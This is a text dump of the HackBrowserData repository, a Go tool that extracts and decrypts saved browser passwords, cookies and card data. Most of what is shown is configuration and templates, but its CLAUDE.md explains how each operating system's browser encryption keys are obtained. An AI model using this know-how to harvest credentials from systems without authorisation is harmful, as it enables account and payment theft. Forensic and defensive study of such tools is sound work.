Repository: moonD4rk/HackBrowserData Branch: main Commit: 239501535a2e Files: 73 Total size: 221.8 KB Directory structure: gitextract_fqj4wsxy/ ├── .github/ │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ └── feature_request.md │ ├── PULL_REQUEST_TEMPLATE.md │ ├── dependabot.yml │ ├── release-drafter.yml │ └── workflows/ │ ├── build.yml │ ├── contributors.yml │ ├── lint.yml │ ├── release.yml │ └── test.yml ├── .gitignore ├── .golangci.yml ├── .goreleaser.yml ├── .typos.toml ├── CLAUDE.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── browser/ │ ├── browser.go │ ├── browser_darwin.go │ ├── browser_linux.go │ ├── browser_windows.go │ ├── chromium/ │ │ ├── chromium.go │ │ ├── chromium_darwin.go │ │ ├── chromium_linux.go │ │ └── chromium_windows.go │ ├── consts.go │ ├── exploit/ │ │ └── gcoredump/ │ │ └── gcoredump.go │ └── firefox/ │ ├── firefox.go │ └── firefox_test.go ├── browserdata/ │ ├── bookmark/ │ │ └── bookmark.go │ ├── browserdata.go │ ├── cookie/ │ │ └── cookie.go │ ├── creditcard/ │ │ └── creditcard.go │ ├── download/ │ │ └── download.go │ ├── extension/ │ │ └── extension.go │ ├── history/ │ │ └── history.go │ ├── imports.go │ ├── localstorage/ │ │ ├── localstorage.go │ │ └── localstorage_test.go │ ├── outputter.go │ ├── outputter_test.go │ ├── password/ │ │ └── password.go │ └── sessionstorage/ │ └── sessionstorage.go ├── cmd/ │ └── hack-browser-data/ │ └── main.go ├── crypto/ │ ├── asn1pbe.go │ ├── asn1pbe_test.go │ ├── crypto.go │ ├── crypto_darwin.go │ ├── crypto_linux.go │ ├── crypto_test.go │ ├── crypto_windows.go │ └── pbkdf2.go ├── extractor/ │ ├── extractor.go │ └── registration.go ├── go.mod ├── go.sum ├── log/ │ ├── level/ │ │ └── level.go │ ├── log.go │ ├── logger.go │ └── logger_test.go ├── rfc/ │ └── 001-architecture-refactoring.md ├── types/ │ ├── types.go │ └── types_test.go └── utils/ ├── byteutil/ │ └── byteutil.go ├── chainbreaker/ │ ├── chainbreaker.go │ ├── chainbreaker_test.go │ └── testdata/ │ └── test.keychain-db ├── fileutil/ │ ├── filetutil.go │ └── fileutil_test.go └── typeutil/ ├── typeutil.go └── typeutil_test.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/ISSUE_TEMPLATE/bug_report.md ================================================ --- name: Bug report about: Create a report to help us improve title: '' labels: bug assignees: '' --- ## Describe the bug A clear and concise description of what the bug is. ## Log Output Please attach or paste the relevant log output. Use `./hack-browser-data -vv` and paste result here. ## Expected vs Actual Behavior Describe what you expected to happen and what actually happened. ## Desktop (please complete the following information): Select the operating system(s) you are using: - [ ] Windows - [ ] macOS - [ ] Linux - OS Version: [e.g. windows 10, macos 10.15.7, ubuntu 20.04] - OS Architecture: [e.g. 32-bit, 64-bit] - Browser Name: [e.g. chrome, firefox] - Browser Version: [e.g. 86.0.4240.111, 82.0.3] ## Additional Details - [ ] I ran `hack-browser-data` with administrator/root privileges. ## Checklist - [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems. ## Screenshots/Videos If applicable, add screenshots or videos to help explain your problem. ## Additional context Add any other context about the problem here. ================================================ FILE: .github/ISSUE_TEMPLATE/feature_request.md ================================================ --- name: Feature Request about: Suggest an idea for this project title: '' labels: enhancement assignees: '' --- ## Feature Description A clear and concise description of what the feature is. ## Why is this feature needed? A clear and concise description of why this feature is needed. ## Checklist - [ ] I have checked the [existing issues](https://github.com/moonD4rk/HackBrowserData/issues) for similar problems. ## Screenshots/Videos If applicable, add screenshots or videos to help explain your proposal. ## Additional Context Add any other context or screenshots about the feature request here. ================================================ FILE: .github/PULL_REQUEST_TEMPLATE.md ================================================ ## Proposed changes ## Checklist - [ ] Pull request is created against the [dev](https://github.com/moonD4rk/HackBrowserData/tree/dev) branch - [ ] All checks passed (lint, unit, build tests etc.) with my changes - [ ] I have added tests that prove my fix is effective or that my feature works - [ ] I have added necessary documentation (if appropriate) ================================================ FILE: .github/dependabot.yml ================================================ version: 2 updates: - package-ecosystem: "gomod" directory: "/" schedule: interval: "weekly" open-pull-requests-limit: 10 target-branch: dev # ignore: # - dependency-name: "example-package" # versions: ["2.x.x"] - package-ecosystem: "github-actions" directory: "/" schedule: interval: "monthly" open-pull-requests-limit: 5 target-branch: dev ================================================ FILE: .github/release-drafter.yml ================================================ name-template: 'hack-browser-data-$RESOLVED_VERSION' tag-template: 'v$RESOLVED_VERSION' categories: - title: '🚀 Features' labels: - 'feature' - 'enhancement' - title: '🐛 Bug Fixes' labels: - 'fix' - 'bugfix' - 'bug' - title: '🧰 Maintenance' label: 'chore' - title: '📖 Document' label: 'doc' change-template: '- $TITLE @$AUTHOR (#$NUMBER)' version-resolver: major: labels: - 'major' minor: labels: - 'minor' patch: labels: - 'patch' default: patch template: | ## Changes $CHANGES ================================================ FILE: .github/workflows/build.yml ================================================ name: Build on: push: branches: - main pull_request: workflow_dispatch: jobs: build: name: Build on ${{ matrix.os }} runs-on: ${{ matrix.os }} strategy: matrix: os: [ubuntu-latest, windows-latest, macos-latest] goVer: ["1.20.x"] steps: - name: Check out code into the Go module directory uses: actions/checkout@v4 - name: Set up Go ${{ matrix.goVer }} uses: actions/setup-go@v5 with: go-version: ${{ matrix.goVer }} cache: false id: go - name: cache go modules uses: actions/cache@v4 with: path: | ~/go/pkg/mod ~/.cache/go-build key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }} restore-keys: | ${{ runner.os }}-go- - name: Format Check if: matrix.os != 'windows-latest' run: | diff -u <(echo -n) <(gofmt -d .) - name: Get dependencies run: | go mod tidy go mod download - name: Build run: go build -v ./... ================================================ FILE: .github/workflows/contributors.yml ================================================ name: Contributors on: schedule: - cron: '0 1 * * 0' # At 01:00 on Sunday. push: branches: - main workflow_dispatch: inputs: logLevel: description: 'manual run' required: false default: '' jobs: contributors: runs-on: ubuntu-latest steps: - uses: bubkoo/contributors-list@v1 with: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} round: true ================================================ FILE: .github/workflows/lint.yml ================================================ name: Lint on: push: branches: - main pull_request: workflow_dispatch: jobs: lint: name: Lint runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v4 - name: Set Golang uses: actions/setup-go@v5 with: go-version: "1.20.x" cache: false - name: Check spelling with custom config file uses: crate-ci/typos@master with: config: ./.typos.toml - name: Get dependencies run: | go mod tidy go mod download - name: Lint uses: golangci/golangci-lint-action@v8 with: version: v2.4.0 ================================================ FILE: .github/workflows/release.yml ================================================ name: Release on: workflow_dispatch: permissions: contents: write pull-requests: write jobs: goreleaser: runs-on: ubuntu-latest steps: - name: Set up Go uses: actions/setup-go@v5 with: go-version: '1.20.x' - name: Check out code uses: actions/checkout@v4 with: fetch-depth: 0 - name: Run GoReleaser uses: goreleaser/goreleaser-action@v6 with: version: '~> v2' args: release --clean --draft env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} update_release_draft: needs: goreleaser runs-on: ubuntu-latest steps: - uses: release-drafter/release-drafter@v6 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} ================================================ FILE: .github/workflows/test.yml ================================================ name: Tests on: pull_request: push: branches: - main - dev workflow_dispatch: jobs: test: strategy: matrix: go-version: [ "1.20.x" ] platform: [ubuntu-latest] runs-on: ${{ matrix.platform }} steps: - name: Checkout code uses: actions/checkout@v4 - name: Install Go if: success() uses: actions/setup-go@v5 with: go-version: ${{ matrix.go-version }} - name: Run tests run: go test -v ./... -covermode=count coverage: runs-on: ubuntu-latest steps: - name: Install Go if: success() uses: actions/setup-go@v5 with: go-version: "1.20.x" - name: Checkout code uses: actions/checkout@v4 - name: Calc coverage run: | go test -v ./... -covermode=count -coverprofile=coverage.out - name: Convert coverage.out to coverage.lcov uses: jandelgado/gcov2lcov-action@v1 - name: Coveralls uses: coverallsapp/github-action@v2 with: github-token: ${{ secrets.github_token }} path-to-lcov: coverage.lcov ================================================ FILE: .gitignore ================================================ # General .DS_Store .AppleDouble .LSOverride # Icon must end with two \r Icon # Thumbnails ._* # Files that might appear in the root of a volume .DocumentRevisions-V100 .fseventsd .Spotlight-V100 .TemporaryItems .Trashes .VolumeIcon.icns .com.apple.timemachine.donotpresent # Directories potentially created on remote AFP share .AppleDB .AppleDesktop Network Trash Folder Temporary Items .apdisk # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib64/ parts/ sdist/ var/ wheels/ pip-wheel-metadata/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # PEP 582; used by e.g. github.com/David-OConnor/pyflow __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ # idea .idea/ .idea # windows *.exe # macOS # binary cmd/agent cmd/server # bin # file *.csv *.xlsx *.txt # config file config.toml *.json Bookmarks Login Data Cookies History *.db *.sqlite *.sqlite-shm *.sqlite-wal #Chromium* #Firefox* result/ results/ hack-browser-data !/cmd/hack-browser-data !/browserdata/history !/browserdata/history/history.go !/browserdata/history/history_test.go # github action !/.github/workflows/unittest.yml !/.github/ISSUE_TEMPLATE/*.md !/.github/*.md # Community !CONTRIBUTING.md # CICD Config !.typos.toml !.github/*.yml !log/ examples/*.go ================================================ FILE: .golangci.yml ================================================ # golangci-lint configuration # Compatible with golangci-lint v2.4+ and Go 1.20 # This is a best practice starter configuration that can be gradually enhanced version: "2" run: # Go version - fixed to 1.20 go: "1.20" # Timeout setting timeout: "5m" # Allow parallel runners allow-parallel-runners: true # Module download mode modules-download-mode: "mod" # Code formatters configuration formatters: enable: - gofmt # Go official formatter - goimports # Automatic import management - gci # Import grouping and sorting settings: gofmt: # Simplify code simplify: true goimports: # Local package prefix (must be array in v2) local-prefixes: - github.com/moond4rk/hackbrowserdata gci: # Import section order sections: - standard # Standard library - default # Third-party libraries - prefix(github.com/moond4rk/hackbrowserdata) # Local packages # Linter configuration linters: # Use standard linters as base default: standard # Additional enabled linters (best practices recommended) enable: # Error checking - errcheck # Check unhandled errors - errorlint # Improve error handling # Code quality - ineffassign # Detect ineffective assignments - revive # Code quality checks - misspell # Spell checking - unconvert # Detect unnecessary type conversions # Security related - gosec # Security vulnerability checks # Performance related - prealloc # Slice preallocation optimization # Code standards - whitespace # Whitespace checks # Best practices - gocritic # Comprehensive code analysis - goprintffuncname # Printf function naming checks # Dependency management - depguard # Package dependency control - gomodguard # Go module dependency control # Code complexity (optional for initial setup) - funlen # Function length checks - goconst # Magic number checks # Explicitly disabled linters (to avoid false positives and noise) disable: - exhaustruct # Struct field completeness check (too strict) - wrapcheck # Error wrapping check (project specific) - testpackage # Test package separation (not conventional) - paralleltest # Parallel test check (not always needed) - nlreturn # Newline before return (too strict) - wsl # Whitespace rules (too strict) - gochecknoglobals # No global variables (sometimes needed) - gochecknoinits # No init functions (sometimes needed) - exhaustive # Enum completeness (too strict initially) - unused # Temporarily disabled for gradual cleanup # Exclusion configuration exclusions: # Paths to exclude paths: - vendor - third_party - testdata - ".*\\.pb\\.go$" - ".*\\.gen\\.go$" # Use default exclusion presets presets: - comments - common-false-positives - legacy - std-error-handling # Exclusion rules rules: # Test file exclusions - path: '_test\.go' linters: - dupl - funlen - goconst - gosec - errcheck # Generated file exclusions - path: '\.pb\.go$' linters: - all # Vendor directory exclusions - path: "vendor" linters: - all # Defer statement exclusions - source: "defer" linters: - errcheck # SQL query exclusions - text: "SELECT" linters: - gosec # Package comment exclusions - text: "should have a package comment" linters: - staticcheck - revive # Types package exclusions - path: "types/types.go" linters: - revive # Unused code exclusions (temporary) - text: "is unused" linters: - unused - staticcheck # Linter specific settings settings: # Error check settings errcheck: # Check type assertion errors check-type-assertions: true # Don't check blank identifier check-blank: false # Excluded functions - expanded list to reduce noise exclude-functions: - "os.Remove" - "os.RemoveAll" - "io.Copy(os.Stdout)" - "(*database/sql.DB).Close" - "(*database/sql.Rows).Close" - "(*github.com/syndtr/goleveldb/leveldb.DB).Close" - "defer" - "(net/http.ResponseWriter).Write" # Security check settings gosec: # Excluded rules (adjust based on project needs) excludes: - G101 # Hardcoded credentials - too many false positives - G104 # Error checking (handled by errcheck) - G304 # File path traversal (needed for project features) - G306 # Poor file permissions (test files) - G401 # Weak cryptographic algorithm (needed for compatibility) - G405 # Weak cryptographic algorithm - G501 # Import crypto/md5 (needed for compatibility) - G502 # Import crypto/des (needed for compatibility) - G505 # Import crypto/sha1 (needed for compatibility) # Go vet settings govet: enable-all: true disable: - fieldalignment # Field alignment optimization (premature optimization) - shadow # Variable shadowing (sometimes intentional) # Static check settings staticcheck: # Check all except the ones we exclude checks: [ "all", "-ST1000", "-ST1003", "-ST1016", "-ST1020", "-ST1021", "-ST1022", ] # Revive settings revive: severity: warning rules: - name: unused-parameter disabled: true # Interface implementations may not use all parameters - name: var-naming disabled: true # Too many false positives with types package - name: package-comments disabled: true # Package comments are not mandatory - name: exported disabled: true # Not all exported types need comments initially # Function length settings funlen: lines: 150 # Increased for existing code statements: 80 # Increased for existing code ignore-comments: true # Code critic settings gocritic: enabled-tags: - diagnostic - performance disabled-checks: - hugeParam # Large value parameters (sometimes needed) - rangeValCopy # Range value copy (minimal performance impact) - commentedOutCode # Allow commented code for now - ifElseChain # Allow if-else chains settings: rangeExprCopy: sizeThreshold: 512 # Dependency guard settings depguard: rules: main: files: - $all deny: - pkg: "github.com/pkg/errors" desc: "Use standard library errors package instead" - pkg: "io/ioutil" desc: "io/ioutil is deprecated, use io or os package" # Spell check settings misspell: locale: US ignore-rules: - behaviour # British spelling # goconst settings - make it less aggressive goconst: min-len: 5 # Minimum length of string constant min-occurrences: 5 # Increased from default 3 # Output configuration output: # Output format - use text format with colors formats: text: path: stdout colors: true ================================================ FILE: .goreleaser.yml ================================================ version: 2 before: hooks: - go mod tidy builds: - id: "hack-browser-data" main: ./cmd/hack-browser-data/main.go binary: hack-browser-data env: - CGO_ENABLED=0 goos: [windows, linux, darwin] goarch: [amd64, "386", arm, arm64] ignore: - goos: darwin goarch: "386" - goos: windows goarch: "386" - goos: windows goarch: arm flags: - -trimpath ldflags: - -s -w archives: - id: "archive" format: zip builds: ["hack-browser-data"] name_template: >- hack-browser-data- {{- if eq .Os "darwin" }}osx {{- else if eq .Os "linux" }}linux {{- else if eq .Os "windows" }}windows {{- else }}{{ .Os }}{{ end }}- {{- if eq .Arch "amd64" }}64bit {{- else if eq .Arch "386" }}32bit {{- else if eq .Arch "arm64" }}arm64 {{- else if eq .Arch "arm" }}arm {{- else }}{{ .Arch }}{{ end }} changelog: sort: asc filters: exclude: - "^docs:" - "^test:" - "^chore\\(deps\\):" - "merge conflict" - Merge pull request - Merge remote-tracking branch - Merge branch - go mod tidy checksum: name_template: "checksums-v{{ .Version }}.txt" algorithm: sha256 release: prerelease: auto ================================================ FILE: .typos.toml ================================================ # See https://github.com/crate-ci/typos/blob/master/docs/reference.md to configure typos [default.extend-words] Readed = "Readed" Sie = "Sie" OT = "OT" Encrypter = "Encrypter" Decrypter = "Decrypter" [files] extend-exclude = ["go.mod", "go.sum"] ================================================ FILE: CLAUDE.md ================================================ # CLAUDE.md This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. ## ⚠️ CRITICAL SECURITY AND LEGAL NOTICE **THIS PROJECT IS STRICTLY FOR SECURITY RESEARCH AND DEFENSIVE PURPOSES ONLY** - This tool is ONLY intended for legitimate security research, authorized audits, and defensive security operations - ANY use of this project for unauthorized access, data theft, or malicious purposes is STRICTLY PROHIBITED and may violate computer fraud and abuse laws - Users are SOLELY responsible for ensuring compliance with all applicable laws and regulations in their jurisdiction - The original author and contributors assume NO legal responsibility for misuse of this tool - You MUST have explicit authorization before using this tool on any system you do not own - This tool should NEVER be used for attacking, credential harvesting, or any malicious intent - All security research must be conducted ethically and within legal boundaries ## Project Overview HackBrowserData is a command-line security research tool for extracting and decrypting browser data across multiple platforms (Windows, macOS, Linux). It supports data extraction from Chromium-based browsers (Chrome, Edge, Brave, etc.) and Firefox. **Legitimate Use Cases**: - Personal data backup and recovery - Authorized enterprise security audits - Digital forensics investigations (with proper authorization) - Security vulnerability research and defense improvement - Understanding browser security mechanisms for defensive purposes ## Development Commands ### Build the Project ```bash # Build for current platform cd cmd/hack-browser-data go build # Cross-compile for Windows from macOS/Linux GOOS=windows GOARCH=amd64 go build # Cross-compile for Linux from macOS/Windows GOOS=linux GOARCH=amd64 go build # Cross-compile for macOS from Linux/Windows GOOS=darwin GOARCH=amd64 go build ``` ### Testing ```bash # Run all tests go test -v ./... # Run tests with coverage go test -v ./... -covermode=count -coverprofile=coverage.out # Run specific package tests go test -v ./browser/chromium/... go test -v ./crypto/... ``` ### Code Quality ```bash # Format check gofmt -d . # Run linter (requires golangci-lint) golangci-lint run # Check spelling typos # Tidy dependencies go mod tidy ``` ## Architecture Overview ### Core Components **Browser Abstraction Layer** (`browser/`) - Interface-based design allowing easy addition of new browsers - Platform-specific implementations using build tags (`_darwin.go`, `_windows.go`, `_linux.go`) - Automatic profile discovery and multi-profile support **Data Extraction Pipeline** 1. **Profile Discovery**: `profile/finder.go` locates browser profiles 2. **File Management**: `filemanager/` handles secure copying of browser files 3. **Decryption**: `crypto/` provides platform-specific decryption - Windows: DPAPI via Windows API - macOS: Keychain access (requires user password) - Linux: PBKDF2 key derivation 4. **Data Processing**: `browserdata/` parses and structures extracted data 5. **Output**: `browserdata/outputter.go` exports to CSV/JSON **Key Interfaces** - `Browser`: Main interface for browser implementations - `DataType`: Enum for different data types (passwords, cookies, etc.) - `BrowserData`: Container for all extracted browser data ### Platform-Specific Considerations **macOS** - Requires user password for Keychain access to decrypt Chrome passwords - Uses Security framework for keychain operations - Profile paths: `~/Library/Application Support/[Browser]/` **Windows** - Uses DPAPI for decryption (no password required) - Accesses Local State file for encryption keys - Profile paths: `%LOCALAPPDATA%/[Browser]/User Data/` **Linux** - Uses PBKDF2 with "peanuts" as salt - Requires gnome-keyring or kwallet access - Profile paths: `~/.config/[Browser]/` ### Security Mechanisms **Data Protection** - Temporary file cleanup after extraction - No persistent storage of decrypted master keys - Secure memory handling for sensitive data **File Operations** - Copy-on-read to avoid modifying original browser files - Lock file filtering to prevent conflicts - Atomic operations where possible ## Adding New Browser Support 1. Create browser-specific package in `browser/[name]/` 2. Implement the `Browser` interface 3. Add platform-specific profile paths in `browser/consts.go` 4. Register in `browser/browser.go` picker functions 5. Add data type mappings in `types/types.go` ## Important Files and Their Roles - `cmd/hack-browser-data/main.go`: CLI entry point and flag handling - `browser/chromium/chromium.go`: Core Chromium implementation - `crypto/crypto_[platform].go`: Platform-specific decryption - `extractor/extractor.go`: Main extraction orchestration - `profile/finder.go`: Browser profile discovery logic - `browserdata/password/password.go`: Password parsing and decryption ## Testing Considerations - Tests use mocked data to avoid requiring actual browser installations - Platform-specific tests are isolated with build tags - Sensitive operations (like keychain access) are mocked in tests - Use `DATA-DOG/go-sqlmock` for database operation testing ## Browser Security Analysis ### Chromium-Based Browsers Security **Encryption Methods**: - **Chrome v80+**: AES-256-GCM encryption for sensitive data - **Pre-v80**: AES-128-CBC with PKCS#5 padding - **Master Key Storage**: - Windows: Encrypted with DPAPI in `Local State` file - macOS: Stored in system Keychain (requires user password) - Linux: Derived using PBKDF2 with "peanuts" salt **Data Protection Layers**: 1. **Password Storage**: Encrypted in SQLite database (`Login Data`) 2. **Cookie Encryption**: Encrypted values in `Cookies` database 3. **Credit Card Data**: Encrypted with same master key as passwords 4. **Local Storage**: Stored in LevelDB format, some values encrypted ### Firefox Security **Encryption Architecture**: - **Master Password**: Optional user-defined password for additional protection - **Key Database**: `key4.db` stores encrypted master keys - **NSS Library**: Network Security Services for cryptographic operations - **Profile Encryption**: Each profile has independent encryption keys **Key Derivation**: - Uses PKCS#5 PBKDF2 for key derivation - Triple-DES (3DES) for legacy compatibility - AES-256-CBC for modern encryption - ASN.1 encoding for key storage ### Platform-Specific Security Mechanisms **Windows DPAPI (Data Protection API)**: - User-specific encryption tied to Windows login - No additional password required for decryption - Keys protected by Windows security subsystem - Vulnerable if attacker has user-level access **macOS Keychain Services**: - Requires user password for access - Integration with system security framework - Protected by System Integrity Protection (SIP) - Security command-line tool for programmatic access **Linux Secret Service**: - GNOME Keyring or KDE Wallet integration - D-Bus communication for key retrieval - User session-based protection - Fallback to PBKDF2 if keyring unavailable ### Security Vulnerabilities and Mitigations **Known Attack Vectors**: 1. **Physical Access**: Direct file system access to browser profiles 2. **Memory Dumps**: Extraction of decrypted data from RAM 3. **Malware**: Keyloggers and info-stealers targeting browsers 4. **Process Injection**: DLL injection to extract decrypted data **Defensive Recommendations**: 1. **Enable Master Password**: Firefox users should set master password 2. **Use OS-Level Encryption**: FileVault (macOS), BitLocker (Windows), LUKS (Linux) 3. **Regular Updates**: Keep browsers updated for latest security patches 4. **Profile Isolation**: Use separate profiles for sensitive activities 5. **Hardware Keys**: Use FIDO2/WebAuthn for critical accounts ### Cryptographic Implementation Details **AES-GCM (Galois/Counter Mode)**: - Authenticated encryption with associated data (AEAD) - 96-bit nonce/IV for randomization - 128-bit authentication tag for integrity - Used in Chrome v80+ for enhanced security **PBKDF2 (Password-Based Key Derivation Function 2)**: - Iterations: 1003 (macOS), 1 (Linux default) - Hash function: SHA-1 (legacy) or SHA-256 - Salt: "saltysalt" (Chrome), "peanuts" (Linux) - Output: 128-bit or 256-bit keys **DPAPI Internals**: - Uses CryptProtectData/CryptUnprotectData Windows APIs - Machine-specific or user-specific encryption - Automatic key management by Windows - Integrates with Windows credential manager ## Dependencies - `modernc.org/sqlite`: Pure Go SQLite for cross-platform compatibility - `github.com/godbus/dbus`: Linux keyring access - `github.com/ppacher/go-dbus-keyring`: Secret service integration - `github.com/tidwall/gjson`: JSON parsing for browser preferences - `github.com/syndtr/goleveldb`: LevelDB for IndexedDB/LocalStorage ## Ethical Usage Guidelines ### Responsible Disclosure - Report vulnerabilities to browser vendors through official channels - Allow reasonable time for patches before public disclosure - Never exploit vulnerabilities for personal gain ### Legal Compliance - Obtain written authorization before testing third-party systems - Comply with GDPR, CCPA, and other privacy regulations - Respect intellectual property and terms of service - Maintain audit logs of all security testing activities ### Best Practices for Security Researchers 1. **Scope Definition**: Clearly define testing boundaries 2. **Data Handling**: Securely delete any extracted sensitive data 3. **Documentation**: Maintain detailed records of methodologies 4. **Collaboration**: Work with security community ethically 5. **Education**: Share knowledge to improve overall security ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community include: * Demonstrating empathy and kindness toward other people * Being respectful of differing opinions, viewpoints, and experiences * Giving and gracefully accepting constructive feedback * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience * Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: * The use of sexualized language or imagery, and sexual attention or advances of any kind * Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or email address, without their explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at . All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. ================================================ FILE: CONTRIBUTING.md ================================================ # Contributing to HackBrowserData We appreciate your interest in contributing to the HackBrowserData! This document provides some basic guidelines for contributors. ## Getting Started - Always base your work from the `dev` branch, which is the development branch with the latest code. - Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one. - Include the problem description in the issue. ## Pull Requests When creating a PR, please follow these guidelines: - Link your PR to the corresponding issue. - Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be. - Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible. - Include steps for functional testing or replication. - If you're adding a new feature, make sure to include unit tests. ## Code Style Please adhere to the existing coding style for consistency. ## Questions If you have any questions or need further guidance, please feel free to ask in the issue or PR, or [reach out to the maintainers](mailto:i@moond4rk.com). We will reply to you as soon as possible. Thank you for your contribution! ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2020 ᴍᴏᴏɴᴅᴀʀᴋ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================
## JetBrains OS licenses
``HackBrowserData`` had been being developed with `GoLand` IDE under the **free JetBrains Open Source license(s)** granted by JetBrains s.r.o., hence I would like to express my thanks here.
================================================
FILE: browser/browser.go
================================================
package browser
import (
"path/filepath"
"sort"
"strings"
"github.com/moond4rk/hackbrowserdata/browser/chromium"
"github.com/moond4rk/hackbrowserdata/browser/firefox"
"github.com/moond4rk/hackbrowserdata/browserdata"
"github.com/moond4rk/hackbrowserdata/log"
"github.com/moond4rk/hackbrowserdata/utils/fileutil"
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
)
type Browser interface {
// Name is browser's name
Name() string
// BrowsingData returns all browsing data in the browser.
BrowsingData(isFullExport bool) (*browserdata.BrowserData, error)
}
// PickBrowsers returns a list of browsers that match the name and profile.
func PickBrowsers(name, profile string) ([]Browser, error) {
var browsers []Browser
clist := pickChromium(name, profile)
for _, b := range clist {
if b != nil {
browsers = append(browsers, b)
}
}
flist := pickFirefox(name, profile)
